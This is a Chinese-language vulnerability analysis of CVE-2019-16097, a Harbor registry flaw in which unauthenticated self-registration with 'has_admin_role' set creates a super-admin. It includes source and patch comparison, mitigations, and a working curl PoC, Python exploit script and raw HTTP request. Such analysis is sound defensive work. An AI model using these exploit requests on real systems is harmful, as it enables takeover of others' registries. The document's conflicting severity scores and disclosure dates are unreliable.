一、漏洞简介

1.1 漏洞背景

Harbor 是由 VMware 公司开源的企业级容器镜像仓库,作为 CNCF(Cloud Native Computing Foundation)孵化项目,被众多企业广泛使用。Harbor 提供镜像存储、签名、漏洞扫描等功能,与 Docker Hub、Google Container Registry 等主流镜像仓库集成。

2019年9月,Palo Alto Networks 的 Unit 42 安全研究团队发现了一个严重的权限提升漏洞。攻击者无需任何身份认证即可创建具有超级管理员权限的账户,从而完全控制 Harbor 镜像仓库。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2019-16097
危害等级 MEDIUM / 6.5
漏洞类型 权限绕过漏洞(超级管理员提权)
披露时间 2019-09-08
影响组件 Harbor 容器镜像仓库
属性 详情
CVE编号 CVE-2019-16097
危害等级 严重(Critical)
CVSS评分 9.8(Critical)
CVSS向量 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
漏洞类型 CWE-862:缺少授权检查(Missing Authorization)
发现者 Aviv Sasson (Palo Alto Networks Unit 42)
公开日期 2019年9月10日
<hr />

补充核验信息:公开时间:2019-09-08;NVD 评分:6.5(MEDIUM);CWE:CWE-862。

二、影响范围

2.1 受影响的版本

  • Harbor 1.7.0 ~ 1.7.5
  • Harbor 1.8.0 ~ 1.8.2

2.2 不受影响的版本

  • Harbor < 1.7.0
  • Harbor >= 1.7.6
  • Harbor >= 1.8.3
  • Harbor >= 1.9.0

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 认证模式:Harbor 配置为使用本地数据库认证(db_auth),而非 LDAP 或 OIDC
  2. 自注册功能:启用了用户自注册功能(Self-Registration = true)
  3. 网络可达:攻击者能够访问 Harbor 的 API 接口(/api/users
  4. 无需认证:攻击者无需任何有效凭据即可利用此漏洞

⚠️ 注意:根据 Unit 42 的研究,全球约有 2,500 个 Harbor 实例暴露在公网,其中 1,300 个存在此漏洞。

<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

漏洞存在于 Harbor 的用户注册 API(POST /api/users)中。当用户通过此 API 注册新账户时,服务端直接将请求体中的 JSON 数据反序列化为 User 对象,而未对关键字段进行权限校验。

攻击流程:

  1. 攻击者构造恶意 POST 请求,在 JSON body 中添加 "has_admin_role": true 字段
  2. 服务端接收请求后,直接将 JSON 反序列化为 models.User 结构体
  3. 由于缺少权限校验,HasAdminRole 字段被设置为 true
  4. 新创建的用户拥有超级管理员权限

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码(v1.8.2 版本)

文件位置src/core/api/user.go

// Post 方法处理 POST /api/users 请求
func (ua *UserAPI) Post() {

    // 检查认证模式必须是 db_auth
    if !(ua.AuthMode == common.DBAuth) {
        ua.SendForbiddenError(errors.New(""))
        return
    }

    // 检查是否允许自注册或当前用户是管理员
    if !(ua.SelfRegistration || ua.IsAdmin) {
        log.Warning("Registration can only be used by admin role user when self-registration is off.")
        ua.SendForbiddenError(errors.New(""))
        return
    }

    // 【漏洞点】直接将请求体反序列化为 User 对象
    user := models.User{}
    if err := ua.DecodeJSONReq(&user); err != nil {
        ua.SendBadRequestError(err)
        return
    }

    // 验证用户输入格式
    err := validate(user)
    if err != nil {
        log.Warningf("Bad request in Register: %v", err)
        ua.RenderError(http.StatusBadRequest, "register error:"+err.Error())
        return
    }

    // 检查用户名是否已存在
    userExist, err := dao.UserExists(user, "username")
    if err != nil {
        log.Errorf("Error occurred in Register: %v", err)
        ua.SendInternalServerError(errors.New("internal error"))
        return
    }
    if userExist {
        log.Warning("username has already been used!")
        ua.SendConflictError(errors.New("username has already been used"))
        return
    }

    // 检查邮箱是否已存在
    emailExist, err := dao.UserExists(user, "email")
    if err != nil {
        log.Errorf("Error occurred in change user profile: %v", err)
        ua.SendInternalServerError(errors.New("internal error"))
        return
    }
    if emailExist {
        log.Warning("email has already been used!")
        ua.SendConflictError(errors.New("email has already been used"))
        return
    }

    // 【漏洞点】直接注册用户,未检查 HasAdminRole 字段
    userID, err := dao.Register(user)
    if err != nil {
        log.Errorf("Error occurred in Register: %v", err)
        ua.SendInternalServerError(errors.New("internal error"))
        return
    }

    ua.Redirect(http.StatusCreated, strconv.FormatInt(userID, 10))
}

User 结构体定义

文件位置src/common/models/user.go

type User struct {
    UserID       int    `json:"user_id"`
    Username     string `json:"username"`
    Email        string `json:"email"`
    Password     string `json:"password"`
    Realname     string `json:"realname"`
    Comment      string `json:"comment"`
    // 【关键字段】攻击者可控
    HasAdminRole bool   `json:"has_admin_role"`
    ResetUUID     string `json:"reset_uuid"`
    Salt          string `json:"salt"`
    UUID          string `json:"uuid"`
    CreationTime  time.Time `json:"creation_time"`
    UpdateTime    time.Time `json:"update_time"`
}

漏洞根因

问题代码(第317行):

if err := ua.DecodeJSONReq(&user); err != nil

这行代码直接将 HTTP 请求体中的 JSON 反序列化到 user 结构体。由于 Go 的 JSON 反序列化机制,攻击者可以通过在请求中包含 "has_admin_role": true 来覆盖该字段的默认值(false)。

缺失的安全检查: - 未验证请求者是否有权限设置 HasAdminRole 字段 - 未在注册逻辑中强制将 HasAdminRole 重置为 false

<hr />

四、漏洞复现(可选)

4.1 环境搭建

使用 Docker Compose 部署受影响版本

# 下载 Harbor v1.8.2(受影响版本)
wget https://github.com/goharbor/harbor/releases/download/v1.8.2/harbor-online-installer-v1.8.2.tgz
tar xzf harbor-online-installer-v1.8.2.tgz
cd harbor

# 修改 harbor.yml 配置
# hostname: your-harbor-domain.com
# harbor_admin_password: Harbor12345

# 安装
./install.sh

确认配置

确保 harbor.yml 中启用了自注册:

# 认证模式
auth_mode: db_auth

# 自注册(默认启用)
self_registration: on

4.2 PoC 演示与测试过程

方法一:使用 curl 命令

# 目标 Harbor 地址
TARGET="http://your-harbor-server"

# 发送恶意请求创建管理员账户
curl -X POST "${TARGET}/api/users" \
    -H "Content-Type: application/json" \
    -d '{
        "username": "hacker_admin",
        "email": "hacker@evil.com",
        "realname": "Hacker",
        "password": "Hacker123!",
        "comment": "Malicious admin account",
        "has_admin_role": true
    }'

# 预期响应:HTTP 201 Created
# 实际效果:成功创建具有管理员权限的账户

方法二:使用 Python 脚本

#!/usr/bin/env python3
"""
CVE-2019-16097 - Harbor 权限提升漏洞 PoC
用途:仅限安全研究和授权测试
"""

import requests
import sys
import json

def exploit_harbor(target_url, username, password, email):
    """
    利用 CVE-2019-16097 创建管理员账户
    """

    # 恶意载荷:设置 has_admin_role 为 true
    payload = {
        "username": username,
        "email": email,
        "realname": "Security Test",
        "password": password,
        "comment": "CVE-2019-16097 PoC Test",
        "has_admin_role": True  # 关键:绕过权限检查
    }

    headers = {
        "Content-Type": "application/json"
    }

    # 发送恶意请求
    url = f"{target_url.rstrip('/')}/api/users"

    try:
        response = requests.post(
            url,
            data=json.dumps(payload),
            headers=headers,
            timeout=10
        )

        print(f"[*] Target: {target_url}")
        print(f"[*] Payload: {json.dumps(payload, indent=2)}")
        print(f"[*] Response Status: {response.status_code}")
        print(f"[*] Response Headers: {dict(response.headers)}")

        if response.status_code == 201:
            print("\n[+] SUCCESS! Admin user created!")
            print(f"[+] Username: {username}")
            print(f"[+] Password: {password}")
            print(f"[+] Email: {email}")
            print(f"[+] Admin Role: YES")

            # 验证账户是否创建成功
            print("\n[*] Verifying login...")
            login_url = f"{target_url.rstrip('/')}/api/users/current"
            auth_response = requests.get(
                login_url,
                auth=(username, password),
                timeout=10
            )
            if auth_response.status_code == 200:
                user_info = auth_response.json()
                print(f"[+] Verification successful!")
                print(f"[+] User ID: {user_info.get('user_id')}")
                print(f"[+] Has Admin Role: {user_info.get('has_admin_role')}")
        else:
            print(f"\n[-] Exploitation failed!")
            print(f"[-] Response: {response.text}")

    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <email>")
        print(f"Example: {sys.argv[0]} http://192.168.1.100 hacker Admin123! hacker@test.com")
        sys.exit(1)

    target = sys.argv[1]
    user = sys.argv[2]
    pwd = sys.argv[3]
    mail = sys.argv[4]

    print("=" * 60)
    print("CVE-2019-16097 - Harbor Privilege Escalation Exploit")
    print("=" * 60)

    exploit_harbor(target, user, pwd, mail)

方法三:使用 Burp Suite

HTTP 请求:

POST /api/users HTTP/1.1
Host: your-harbor-server
Content-Type: application/json
Content-Length: 178

{
    "username": "pwned_admin",
    "email": "pwned@attacker.com",
    "realname": "Pwned",
    "password": "Pwned123!",
    "comment": "Owned via CVE-2019-16097",
    "has_admin_role": true
}

验证漏洞利用成功

# 使用创建的账户登录
curl -u "hacker_admin:Hacker123!" \
    "http://your-harbor-server/api/users/current"

# 响应应包含 "has_admin_role": true
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

立即升级到以下任一版本:

修复版本 发布日期
v1.7.6 2019年9月18日
v1.8.3 2019年9月18日
v1.9.0+ 2019年9月

升级步骤:

# 备份数据
docker-compose down
cp -r /data/harbor /data/harbor-backup

# 下载新版本
wget https://github.com/goharbor/harbor/releases/download/v1.8.3/harbor-online-installer-v1.8.3.tgz
tar xzf harbor-online-installer-v1.8.3.tgz

# 迁移配置
# 复制旧的 harbor.yml 到新目录

# 执行升级
./install.sh

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

如果暂时无法升级,可采取以下缓解措施:

方案一:禁用自注册

修改 harbor.yml

self_registration: off

然后重启服务:

docker-compose down
docker-compose up -d

方案二:切换到 LDAP 认证

修改 harbor.yml

auth_mode: ldap_auth

# LDAP 配置
ldap_url: ldap://your-ldap-server
ldap_search_dn: cn=admin,dc=example,dc=com
ldap_search_password: password
ldap_base_dn: ou=users,dc=example,dc=com
ldap_filter: (objectClass=person)
ldap_uid: uid
ldap_scope: 2

方案三:网络层访问控制

使用防火墙限制 Harbor API 访问:

# 仅允许内网访问 /api/users 接口
iptables -A INPUT -p tcp --dport 80 -m string \
    --string "POST /api/users" --algo bm \
    -s ! 10.0.0.0/8 -j DROP

方案四:WAF 规则

添加 ModSecurity 规则拦截包含 has_admin_role 的注册请求:

SecRule REQUEST_URI "@streq /api/users" \
    "id:1001,phase:2,t:none,deny,status:403,msg:'CVE-2019-16097 Block'"
SecRule REQUEST_BODY "@contains has_admin_role" \
    "id:1002,phase:2,t:none,deny,status:403,msg:'CVE-2019-16097 Block'"

5.3 修复后的代码分析

修复版本(v1.8.3+)中的 Post 方法:

func (ua *UserAPI) Post() {

    if !(ua.AuthMode == common.DBAuth) {
        ua.SendForbiddenError(errors.New(""))
        return
    }

    if !(ua.SelfRegistration || ua.IsAdmin) {
        log.Warning("Registration can only be used by admin role user when self-registration is off.")
        ua.SendForbiddenError(errors.New(""))
        return
    }

    user := models.User{}
    if err := ua.DecodeJSONReq(&user); err != nil {
        ua.SendBadRequestError(err)
        return
    }
    err := validate(user)
    if err != nil {
        log.Warningf("Bad request in Register: %v", err)
        ua.RenderError(http.StatusBadRequest, "register error:"+err.Error())
        return
    }

    // 【修复点】新增:检查非管理员用户是否尝试创建管理员账户
    if !ua.IsAdmin && user.HasAdminRole {
        msg := "Non-admin cannot create an admin user."
        log.Errorf(msg)
        ua.SendForbiddenError(errors.New(msg))
        return
    }

    // ... 后续逻辑
}

关键修复逻辑:

// 新增的安全检查
if !ua.IsAdmin && user.HasAdminRole {
    msg := "Non-admin cannot create an admin user."
    log.Errorf(msg)
    ua.SendForbiddenError(errors.New(msg))
    return
}
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料